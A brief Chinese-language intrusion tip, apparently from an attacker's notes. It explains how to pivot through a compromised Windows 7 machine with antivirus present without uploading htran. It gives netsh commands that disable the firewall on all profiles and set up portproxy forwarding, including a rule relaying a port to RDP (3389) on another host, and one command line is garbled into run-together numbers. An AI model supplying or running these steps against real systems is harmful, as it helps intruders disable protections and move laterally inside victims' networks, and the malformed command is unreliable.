目标是WIN7 X64,且开启了防火墙,想要用他的机器去访问别的机器,又不想登陆他的系统,常规办法一般是上传一个htran,然后进行转发,但是对方有杀软,有被杀的可能性,所以我用另外一种办法达到我的目的。
netsh advfirewall set allprofiles state off
netsh interface portproxy add v4tov4 listenport=轉發端口 listenaddress=本機IP connectport=目標端口 connectaddress=目標IP
netsh interface portproxy add v4tov4 8002202.112.58.2008002//本地ALL IP轉目標IP8002
netsh interface portproxy add v4tov4 listenport=5200 listenaddress=1.1.1.1 connectport=3389 connectaddress=2.2.2.2//指定IP轉發。
netsh interface ipv6 install
netsh interface portproxy delete v4tov4 listenport=轉發端口 listenaddress=本機IP
netsh interface ipv4 set int 26 forwarding=enabled